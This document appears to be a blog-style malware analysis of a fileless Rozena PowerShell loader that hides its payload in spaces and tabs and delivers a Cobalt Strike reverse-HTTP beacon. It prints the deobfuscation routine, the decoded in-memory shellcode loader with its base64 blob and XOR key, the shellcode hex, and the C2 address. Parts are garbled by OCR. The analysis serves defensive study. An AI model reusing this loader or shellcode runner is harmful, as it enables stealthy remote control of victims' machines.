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FILELESS ROZENA
WITH COBALT STRIKE
LOADER ANALYSIS

MALWARE SUMMARY

Fileless malware leverages exploits to run malicious commands or launch scripts directly from
memory using legitimate system tools such as Windows Powershell. Unlike traditional malware,
fileless malware does not require an attacker to install any code on a target’s system, making it
hard to detect.

The analysis examines how Rozena uses fileless techniques along with a Cobalt Strike loader to
evade detection and effectively carry out malicious activities. This combination highlights a
sophisticated threat in the cybersecurity landscape significant threat due to their stealth and
capabilities. The code appears to be obfuscated and uses various techniques to hide its true
functionality. What's interesting with this analysis is that the Powershell loader utilizes only
spaces(0x20) and tab(0x09) characters to encode the payload. It iterates over an object, splitting
it by spaces and converting the resulting strings into characters. It then joins these characters
and executes a command using the concatenated string as the command name.



TECHNICAL ANALYSIS

This analysis is based on a presentation about Reverse engineer malware code written in spaces
and tabs, given by Sorot Panichprecha at SANS Community Event in Kuala Lumpur, Malaysia

2024. This analysis will recreate the concepts presented in the talk for learning purposes.
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DETECTION DETAILS

Popular threat label

Security vendors' analysis (O

AhnLab-V3

AlYac

Arcabit

AVG

Emsisoft

—NOD

RELATIONS

C' Reanalyze

f567340cee8755dbd745b6afd9adc78a998bf2cbfda85e6302197994c577c ze

f567340cee8755dbd 745b6afd9adc782998bf2chfda85e6302197994c57Tc.unknown 48.83 KB

wershell checks-network-adapters  detect-debug-environment runtime-modules  direct-cpu-clock-access

BEHAVIOR COMMUNITY 12+

Threat categories trojan Family labels rozena

AliCloud
Antiy-AVL
Avast
BitDefender
eScan

4 months ago

= Similar

More

O

powershell  whitespace

Do you want to automate checks?

https://www.virustotal.com/gui/file/858f567340cee8755dbd745b6afd9adc78a998bf2cbfda85e
6302197994c577c/detection

The malicious samples were tweeted by @cyb3rops on Jul 12, 2022. The file can be found in
Malware Bazaar and can be downloaded from here:
https://bazaar.abuse.ch/sample/858f567340cee8755dbd745b6afd9adc78a998bf2cbfda85e63
02197994c577c/

MALWARE bazaar

Q, Browse
s ABUSE|*

& Upload W Hunting </>API [BsExport @ Statistics @ FAQ [ About

& Login

SHA256 hash: [0 858f567340cee8755dbd745b6afd9adc78a998bf2cbfda85e6302197994c577¢

SHA3-384 hash: D 46e6075e078c5143e09e3cc0b5c0bfdad6c8dc15d7056f97d529028b2c4d155a5950c6673611f147bf4696f8e3cb1288

SHA1 hash: D 3fbf81b10abecc64d33a1387ab6626cadd435727

MD5 hash: D c70b4ae125f67ccced3fa09b7bbIbeTe

humanhash: 1] eighteen-california-edward-north

File name: 858f567340cee8755dbd745b6afd9adc78a998bf2cbfda85e6302197994c577¢
Download: [8) download sample

File size: 50'007 bytes

First seen: 2022-07-12 13:29:09 UTC

Last seen: Never

File type: 27 psl

MIME type: text/plain

ssdeep ® D 48:SIg6ygi7yTUFPRIifIRyOVSWyijWPQIP/IPIUcRhglgImtUlgPmjNObUIgP/IAgPrIkplKIC
TLSH [0 T14A238C22ABDE8291D5D250731083442C9AF83F7278006927306F51DEB3AES8BC03982B8
Reporter @ M cyb3rops

Tags: [cbtuscatea ] powerahel]


https://www.virustotal.com/gui/file/858f567340cee8755dbd745b6afd9adc78a998bf2cbfda85e6302197994c577c/detection
https://www.virustotal.com/gui/file/858f567340cee8755dbd745b6afd9adc78a998bf2cbfda85e6302197994c577c/detection
https://bazaar.abuse.ch/sample/858f567340cee8755dbd745b6afd9adc78a998bf2cbfda85e6302197994c577c/
https://bazaar.abuse.ch/sample/858f567340cee8755dbd745b6afd9adc78a998bf2cbfda85e6302197994c577c/

W' Florian Roth
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That's an interesting PowerShell based loader that uses only space
(Ox20) and tab (0x09) characters to encode a payload

09 09 20
09 20 20
09 09 09
09 09 09
20 20 09
09 09 09
20 09 09
09 09 09
20 20 09
09 09 09
20 09 09
09 09 20
09 20 09

666F72654143482D4F424A45

Reverse Engineering Objectives

#+ l|dentify Malware Function
What are the capabilities of this malware? What does it do?

4+ ldentify Command & Control Address
If it is a backdoor. Find out the address (domain or IP) of the C2.




The analysis discovers most of the code is only Spaces and Tabs and interesting things is that it
only has two line to do the operation.

View from text/hex editor:

% 838f367340ceedT35dbd745bbafd%adc.. 302197994577 ¢ (~\Desktop) - GVIM

File Edit Tools Syntax Buffers Window Help

BIBRR[(SSA TR ? 2

<{fd9adc78a998bf2chfdaB5ed382197994c577c" 1L, 50087C

§_2| 858f367340ceed755dbd745b6afd9adc 78a998bf 2cbfdal3e6302197994c57 7

Offset (h) 00 01 02 03 04 05 06 07 05 0% O OB OC OD OE OF Decoded text

0000E&eS0 09 0% 059 0% 09 20 09 05 09 05 089 09 09 09 20 20 oo ve weeevnnn
00o0o0EseS0 09 0% 20 0% 09 20 09 05 0% 05 0% 20 20 09 09 09 .. .. ... e
O000EsAO 05 0% 05 0% 09 05 09 20 09 059 08 09 09 09 20 20 oo vees cevwwn
O000E&EOD 05 0% 09 0% 09 0% 09 05 09 05 20 09 09 09 09 09 .. eeeees wuans
O000E&eCO 09 0% 09 0% 20 20 09 05 20 05 0% zZ0 09 0% 09 09

O0o00EseDO 05 0% 09 0% 20 20 09 05 20 05 20 09 09 0% 20 20

O00C0ESEOD 08 0% 20 0% 20 0% 09 09 20 20 0% 05 20 09 20 0% .. . ... P
O00C0EseFO 09 20 20 0% 09 20 09 05 20 05 0% 05 0% 09 20 20 . vh e e
0000700 09 0% 059 0% 09 20 09 05 09 05 0% 20 20 09 09 09 ... o.o.as
O000E710 09 20 0% 0% 09 20 20 05 0% 09 0% 09 20 09 20 20 . ... oeeas
O0000E720 09 0% 20 0% 20 0% 09 09 20 20 0% 05 20 09 09 20 .. . ...
O000E730 08 0% 059 0% 09 0% 09 05 20 20 0% 09 20 09 09 20 o....... P
O000E740 09 20 20 0% 09 0% 09 05 09 05 0% 09 09 20 09 09 & coeeeevaas .
O000E7S0 09 0% 09 0% 09 0% 09 05 20 20 0% 09 089 09 09 09 ..o eeee vewaes
O000E7e0 09 0% 059 0% 20 0% 09 05 09 05 0% 20 20 09 09 20 ... weeews
OOoo0E770 09 20 09 0% 09 0% 20 20 09 05 20 09 20 09 09 20 . ... P
O000E7S0 20 0% 09 20 09 0% 20 05 0% 05 0% 09 09 0% 20 20 v e eaaaaas
O000E7S0 09 0% 09 0% 09 0% 09 05 09 05 20 09 09 09 09 09 oo eeeees wuans
O000E7AD 09 20 20 0% 09 20 09 20 09 20 20 05 0% zZ0 09 20 . PP P
OO00C0E7EOD 09 0% 20 20 09 0% 20 05 20 05 0% 05 08 0% 05 0% .. v eeaaaas
O000E7CO 09 0% 20 20 09 0% 20 05 20 05 0% z0 20 0% 09 20 .. P e
O000E7DO 09 20 09 0% 09 0% 20 20 09 05 08 09 089 09 09 09 0 oo cevewaes
OOOO0E7EOD 09 0% 20 0% 09 0% 09 05 09 05 0% 20 20 09 09 20 .. ceweeeas
O00O0E7FO 08 0% 20 0% 09 0% 09 05 09 05 20 20 0% 09 20 09 .. ... P
O0000ES00 20 0% 09 20 20 0% 09 05 0% 05 0% 09 09 0% 09 20 v e e e
O000ES10 09 0% 05 0% 09 0% 20 20 09 05 20 09 0% zZ0 09 09 ...,

O0000ESZ20 05 0% 09 0% 09 20 20 05 0% 20 0% 09 09 20 09 0% ...,

O000ES30 20 20 09 0% 20 0% 09 20 0% 05 0% zZ0 20 0% 09 20

O0o0o0ES40 09 20 05 0% 20 20 09 05 09 05 20 059 08 09 20 20 . .. P e
O000ES50 09 0% 05 0% 09 0% 09 20 09 05 0% 09 09 20 20 09 .o eeee wuews P



End of file we found this code. Let’s analysis what happens here.

8] 858f567340ceeB735dbd743bbafd9adc78a998bf2cbfdadseb3021979%4c577

Offset (h) 00 01 02 03 04 05 05 07 03 09 0Ok OB OC OD OE OF Decoded text ~
000o0c1s0 09 09 20 09 20 20 09 05 09 0% 09 02 09 02 09 09 .. v ceeevennes
000o0cC1A0 20 20 0% 0% 02 09 09 09 09 05 20 02 09 02 09 20 c.veeeas PRI
0000C1BO 20 0% 0% 0% 02 09 09 05 20 0% 09 02 09 02 09 09 fivevee svnnnes
000o0c1co 0% 0% 0% 20 20 09 09 05 09 0% 09 02 09 09 20 09 ... veeeennnn
00o0ociDpo 09 0% 0% 09 02 09 09 09 20 20 09 02 09 02 20 09 C....... PP
0000C1E0 09 09 20 20 09 09 09 05 20 0% 0% 02 09 0% 09 09 .. P eeaaaan
0000C1FO0 20 20 0% 0% 02 09 09 05 09 20 09 02 09 029 09 09 cueveee vennes
o0ooczo0 09 0% 0% 20 20 0% 09 20 09 05 20 0% 09 20 20 09 ... ..
0o0oocz10 0% 0% 09 0% 092 09 09 20 09 02 09 02 20 20 09 09 ....... PRI
00oo0czz0 20 0% 0% 20 09 09 09 05 09 02 09 20 20 09 09 20 P e ..
00oo0cz30 09 zZ0 20 0% 02 20 09 09 09 20 09 02 09 02 09 09 . P hee e
4
u}
=1
N eLLID[
HE11id[13]+
W

This is the code that will do the deobfuscation all the Spaces and Tabs.

- | foreach-object{
$pjzhiwqu =$_ -split # split the string with double space(group)
= foreach-object { ' ";$_.split(' ') | # split the string with space(subgroup)
foreach-object{$_.Tlength- 1 } # Count characters(tabs)-1

¥;
= -join(( ( -join ( $pjzhiwqu[0..(Spjzhiwqu.length-1)] )).trimstart( ' ').split( ' ")
foreach-object{ ([char] [int] $_)} ))|.(C $shellid[1]+$shel1id[13]+'x")

ONOUVIHA WN =

R Merge everything back
Convert decimal to string Execute Code with "iex



Technique that executes the "iex"

PS C:\Users\cookies > $shellid[1]

E-VM 06/24/2024 18:41:39
\Users\cookies > $shellid[13]

06/24/2024
\Users\cookies > $she

P6/24/2024 18:42:3
PS C \Users\cookles >

{
X

Decode and dumps the configuration of Cobalt Strike Windows beacons (PE files), shellcode
and memory dumps.

# Malware code that was written in spaces and tabs.
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {

Param ($var_module, $var procedure)

$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-
1].Equals('System.dl1l') }).GetType('Microsoft.Win32.UnsafeNativeMethods")

$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]]
@('System.Runtime.InteropServices.HandleRef', 'string'))

return $var_gpa.Invoke($null,
@([System.Runtime.InteropServices.HandleRef](New-Object
System.Runtime.InteropServices.HandleRef((New-Object IntPtr),
($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null,

@($var_module)))), $var_procedure))
}

function func_get_delegate_type {
Param (
[Parameter(Position = @, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]

)

$var_type builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly ( (New -
Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]: :Run).DefineDynamicModule('InMemory
Module', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
AutoClass', [System.MulticastDelegate])

$var_type builder.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard,
$var_ parameters).SetImplementationFlags('Runtime, Managed')




$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot,
Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime,
Managed"')

return $var_type builder.CreateType()
}

[Byte[]]$var_code =
[System.Convert]::FromBase64String('38uqlyMjQ6rGEVFHqQHETQHEVQHE3qFELLIRpBRLCEUOPHO
JFfIQ8D4uwuIuTBO3FOQHEZzqGEfIvOoY1um41ldpIvNzqGs7qHsDIVDAH2qoF6gi9RLcEuOP4uwuIuQbwlbX
IF7bGF4HVsF7gHsHIVBFqC90gHs/IvCol6gi86pnBwd4eE]6eXLcw3t8eagxyKV+SO1GVYNLVEpNSndLb1
QFINz2Etx@dHROAEsZdVqE3PbKpyMjI3gS6nlySSByckssBCMjcHNLAKq85dz2yFNAEVFXSyMhY6dxcXFw
CcXNLYHYNGNz2quWg4HMS3HROSdxwdUsOJTtY3Pamdyyn4CIjIxLcptVXI6rayCpLiebBftz2qulLZgI9Et
Z2EtXxOSSRYdXNL1HTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwWMTncVRiOrGHfkE6C3pSZFtB/+
KLykmFiMIrXg/91pyAITBQnjq5qInrNcOBGVYEobWQQc18TYvXZmbfrHDBI9sqFn9nHPgkQqpmgBgoUqIl3
ZQR1EOYKRGTVcZA25MWUpPTOIMFgOTAWEtATESTQ1dKQUOGGANUCcGpmAXITDRMYA3RKTUAMVFADbXcDFQOR
GAN3UUpHRk1XDBUNEwouKSNe9HRoswOAWFSTyRc8u3hziphW753BJ1QstyoiSV/Nz+MA98FHKTQOCo2CWB
y941on/5HHMYsImf4CToYmX8P1ly8PfoS21LyMMs jNgb9EiWPpILBoISre/h6eNdmaSw6cxpM/TMSmt5CN7
bGyxUH+08Dqg2iat0s/toah8PH5mK53S0aXdBvx8QGOT164Xg9vd1IRLZ2ICaUG4VyAMc/cY7Qdh+Bq75C2
kyAcpHR955I3phy0ilTqC815K6eCFmHprHHSK1Fp865s9Sb2QUKWalgbMwtFxxkSAYkWfKPRBHIiNLO5aB
ddz2SWNLIzMjI@sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsROSyMDIyNwdUsxtarB3Pam41f1qCQi4KbjVs
Z74MuK3tzcFxoNERARDREREQOWGYNgtSHx ")

for ($x = ©; $x -1t $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35

}

$var_va =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get
proc_address kernel32.dl1l VirtualAlloc), (func_get_delegate type @([IntPtr],
[UInt32], [UInt32], [UInt32]) ([IntPtr])))

$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer,
$var_code.length)

$var_runme =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffe
r, (func_get _delegate type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)

‘e

If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-
Job
}
else {
IEX $DoIt

}

# Deobfucation Code

| foreach-object{
$pjzhiwqu =$_ -split

" | # Split the string with double space(group)
foreach-object { ' ';$_.split(' ') | # Split the string with space(subgroup)
foreach-object{$_.length- 1 } # Count characters(tabs)-1

}s5

-join(( ( -join ( $pjzhiwqu[@..($pjzhiwqu.length-1)] )).trimstart( '
").split( " )|

foreach-object{ ([char] [int] $ )} ))|.( $shellid[1]+$shellid[13]+'x")




Decoding Cobalt Strike Payload and we identify it as Cobalt Strike Reverse HTTP x86 Shellcode.

File: ps-cobalt-decode.dat

Found shellcode:

Identification: CS reverse http x86 shellcode

Parameter: 778 b'49.232.222.58'

license-id: 792 1234567890

push : 190 9999 b"h\x0f'\x00\x00"

push : 716 4096 b'h\x00\x10\x00\x00'"

push : 747 8192 b'h\x00 \x00\x00'

String: 323 b'/mT6e’

String: 403 b'User-Agent: Mozilla/5.0 (compatible; MSIE .0; Windows NT 6.2;
Trident/6.0)'

00000000: FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30

00000010: 52 OC 8B 52 14 8B 72 28 ©OF B7 4A 26 31 FF 31

00000020: AC 3C 61 7C 02 2C 20 C1 CF oD @1 C7 E2 F@ 52

00000030: 8B 52 10 8B 42 3C 01 DO 8B 40 78 85 C@ 74 4A

00000040: DO 50 8B 48 18 8B 58 20 01 D3 E3 3C 49 8B 34

00000050: 01 D6 31 FF 31 CO AC C1 CF oD @1 C7 38 E@ 75

00000060: 03 7D F8 3B 7D 24 75 E2 58 8B 58 24 01 D3 66

00000070: OC 4B 8B 58 1C 01 D3 8B 04 8B 01 Do 89 44 24 o

00000080: 5B 5B 61 59 5A 51 FF E@ 58 5F 5A 8B 12 EB 86 [[aYzQ..X_Z....]
00000090: 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 hnet.hwiniThLw&.
©00PORAO: FF D5 31 FF 57 57 57 57 57 68 3A 56 79 A7 FF o 1 WWWWWh:Vy. ..
00000OBO: E9 84 00 00 00 5B 31 C9 51 51 6A @3 51 68 [1.QQj.QQh.
000000CO: 27 00 00 53 50 68 57 89 9F C6 FF D5 EB 5B

000000DO: D2 52 68 00 02 40 84 52 52 52 53 52 50 EB .Rh..@.RRRSRPh.U
©0000OED: 2E 3B FF D5 89 C6 83 C3 50 31 FF 57 57 FF 55 P1.WWj.S
000PLOFO: 56 68 2D 06 18 7B FF D5 85 CO OF 84 C3 00

00000100: 31 FF 85 F6 74 04 89 F9 EB 09 68 AA C5 5D 1...t h...].
00000110: D5 89 C1 68 45 21 5E 31 FF D5 31 FF 57 o7 ...hE!I"1..1.Wj.Q
00000120: 56 50 68 B7 57 EO 0B FF D5 BF 00 2F 00 39

00000130: 74 B7 31 FF E9 91 01 00 00 E9 C9 01 00 ]

00000140: FF FF FF 2F 6D 54 36 65 00 88 3B 54 (7 84

00000150: 86 ©5 7C 97 3C DD ©B 9F 87 BB 7B AF 05 C3

00000160: FA 4A EB 21 30 26 2A Co 88 B9 AA BD 90 1B

00000170: B6 EB 69 38 7A 27 3F F4 E7 FB 9E 55 45 D9

00000180: 2F 31 5E 91 82 44 D5 52 EC Al 67 09 85 22 /1~..D.R..g..K".
00000190: 66 @9 00 55 73 65 72 2D 41 67 65 6E 74 20 f..User-Agent: M
000001A0: 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 63 6D ozilla/5.0 (comp
000001BO: 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 30 atible; MSIE 1e.
000001CO: 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 36 0; Windows NT 6.
000001D0: 32 3B 20 54 72 69 64 65 6E 74 2F 36 2E 29 2; Trident/6.0).
QOPOO1EQ: OA 00 7D D7 57 4B 90 2E 23 E3 77 BO EA 1F o FoWKL L HLW. L4,
0P00PO1FO: 5B 50 A9 BB 75 CC B1 62 04 77 OF 94 09 6A

00000200: EE EC CO 23 D4 E2 64 0A 17 17 29 AE Al 3F

00000210: C1 79 04 DC B2 E4 BA A8 2A BA DD 21 6D 05

00000220: EQ C6 E8 EO FC 82 OE 96 0C 00 2F 91 10 4C

00000230: 01 7B D9 6B OF 39 2B 69 94 9C A4 84 AE 45

00000240: EO 84 12 87 EC FO 12 oA 8E C7 00 58 4F 92

00000250: 5C AD D3 19 95 AA 88 6D 90 D8 4B 49 3C 3C

00000260: A9 C4 57 8B 4A 54 62 9C 3C 33 38 67 C6 A6 ..W.JTb.<38g....
00000270: D5 D4 56 06 31 FA FB A3 B9 73 4D 36 EB 3F ..V.1l....sM6. 2.
00000280: E5 18 62 FB 5D 25 8D DA 28 4A 11 22 E9 64 ..b.]%..(3.".dd.
00000290: S5A 03 B9 42 EB CB 96 6D 83 9F F4 B1 99 02 ..B...m
000002A0: 3D B9 E4 3E 01 86 35 BC 19 C5 EC 71 4C 37 >




000002B0O:

000002C0o:

000002D0:

000002EQ:

000002F0:

00000300: 00 olc
00000310: 32.222.58.I...

File: ps-cobalt-decrypted.dat
Found shellcode:
Identification: CS reverse http x86 shellcode
Parameter: 778 b'49.232.222.58"'
license-id: 792 1234567890
190 9999 b"h\xOf'\xee\xee"
716 4096 b'h\x00\x10\x00\x00"
747 8192 b'h\x00 \x00\xee'
‘{/mTée’
‘User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)'"

00000AD: .. 1. WWWWWh :Vy. . .
000000BO: [1.0QQj.Q0h.
000000C0:

00000130:
00000140:
00000150:

00000300:
00000310 32.222.58.1I...

FLARE-VM Mon 24/06/2024 23:05:31.93
C:\Users\cookies\Desktop\Real-MalwareBazaar>type cobalt-payload-info.txt
: FF D5 31 FF 57 57 57 57 57 68 3A 56 79 A7 FF D5 ..1.WWWWWh:Vy...
: E9 84 00 00 00 5B 31 C9 51 51 6A 03 51 51 68|0F [1.003.00h.
: 127 00 00|53 50 68 57 89 O9F C6 FF D5 EB 70 5B 31 '..SPhW p[1

30: 74 B7 31 FF E9 91 01 00 E9 C9 01 00 00 E8 8B

: FF FF FF|2F 6D 54 36 65 88 3B 54 C7 30 84 14

: 86 05 7C 97 3C DD @B 9F BB 7B AF ©5 96 C3 DC

: C3 85 CO 75 E5 58 C3 E8 9 FD FF FF|34 39 2E csU-Xook- :
1133 32 2E 32 32 32 2E 35 38|00 49 96 02 D2 32.222 58} .-
FLARE-VM Mon 24/06/2024 23:05:35.44

Command & Control (C2) Address: http://49.232.222[.]58:9999/mT6e



# Cobalt Strike Loader

From Base 64
. XOR decryption key: 35
. Change to decimal format
. C2 Found: 49.232.222.58

38uqIyMjQ6rGEVFHQHETqHEVQHE3qFELLIRpBRLCEUOPHOIFIQ8D4uwuIuTBO3FOqHEZqGEfIvOoY1lum4l
dpIvNzqGs7gHsDIVDAH2qoF6gi9RLcEUOP4uwuIuQbwlbXIF7bGF4HVsF7qHsHIVBFqC90qHs/IvCol6gi
86pnBwd4eEJ6eXLcw3t8eagxyKV+S0O1GVYNLVEpNSndLb1QFINz2Etx0dHROMESZdVQE3PbKpyMjI3gSen
JySSByckssBCMjcHNLAKq85dz2yFNAEVFxSyMhY6dxcXFwcXNLYHYNGNz2quWg4HMS3HROSdxwdUsOITtY
3Pam4yyn4CIjIxLcptVXI6rayCpliebBftz2qulLZgI9Etz2Etx0SSRYdXNLIHTDKNZ2nCMMIyMa5FeUEt
zKsiIjI8rqIiMjy6jc3NwMTncVRiOrGHTKE6C3pSZftB/+KLYykmFiMIrXg/91pyAITBQnjq5qInrNcOBGV
yEobWQQc18TYvXZmbfrHDBI9sqFn9nHPgkQqpmgBgOUqI3ZQR1EOYKRGTVCZA25MWUpPTOIMFgOTAWLATE
5TQ1dKQUOGGANuUcGpmAXITDRMYA3RKTUAMVFADbXcDFQORGAN3UUpHRk1IXDBUNEWOUKSNe9HROSWOAWFST
yRc8u3hziphW75JBJ1QstyoiSV/Nz+MA98FHKTQOC02CWBy941lon/5HHMYsImf4CToYmX8P1ly8PfoS21Ly
MMs jNgb9EiWPpILBoISre/h6eNdma5w6cxpM/TMSmt5CN7bGyxUH+08Dg2iat0s/toah8PH5mK53S0aXdB
vx8QGOT164Xg9vd1IRLZ2ICaUG4VyAMc/cY7Qdh+Bq75C2kyAcpHR955IIphy0ilTqC815K6eCFmHprHHS
K1Fp865s9Sb2QUKWalgbMwtFxxkSAYkWfKPRBHIiNLO5aBddz2SWNLIzMjIOsjI2MjdEt7h3DG3PawmiMj
IyMi+nJwqsROSyMDIyNwdUsxtarB3Pam41f1qCQidKbjVsZ74MuK3tzcFxoNERARDREREQOWGYNGtSHX

Reverse Engineering Objectives

4+ ldentify Malware Function
What are the capabilities of this malware? What does it do?

Cobalt Strike Loader

+ Identify Command & Control Address
If it is a backdoor. Find out the address (domain or IP) of the C2.

http://49.232.222[.]58:9999/mT6e

End of analysis. Thank you, Cheers.



FURTHER INQUIRIES

E-mail: fatahillah.hashim@gmail.com

Note: | typically respond to all business e-mails within 1-2 business days. In case of any
communication issues, I’m on LinkedIn https://www.linkedin.com/in/fatah-hashim/

BUY ME A COFFEE

Hi, Fatah here :D
| create and provide free Cyber Security Resources to the community. You can find me at:
https://www.x86fatah.com/

If you find this material useful and you feel like buying me a coffee or helping to contribute to
domain registration and hosting fees, please feel free to do so, but please don't feel obliged.

Your contributions paid for a a couple of years of Domain Registration and a couple of coffees
that have helped make some valued content for the community.

Thankyou. Cheers.



https://www.linkedin.com/in/fatah-hashim/
https://www.x86fatah.com/

SPONSORS

The first x86fatah blog value is to offer free analysis/research/development educational
resources to all the world based on the owner personal efforts. Fatah has dedicated thousands
of hours to offer this content for free.

If you think x86fatah blog are made for commercial purposes you are completely wrong.

Fatah have sponsors because, even if all the content is free, Fatah want to offer the community
the possibility of appreciating his work if they want to. Therefore, Fatah offer people the option
to donate to x86fatah blog via Ko-fi! (ko-fi.com/fatahhashim) sponsors, and relevant
cybersecurity companies to sponsor x86fatah blog and to have some ads in the blog.

$5 a month

Thank you very much!! This encourages me to continue researching and sharing everything with
the community.

$20 a month

Thank you very much!! Have ads in some x86blog pages.

$50 a month

- Have the logo of your company, a description, and a link in the main page of x86fatah blog!

- Have ads in some x86fatah blog pages



https://ko-fi.com/fatahhashim)
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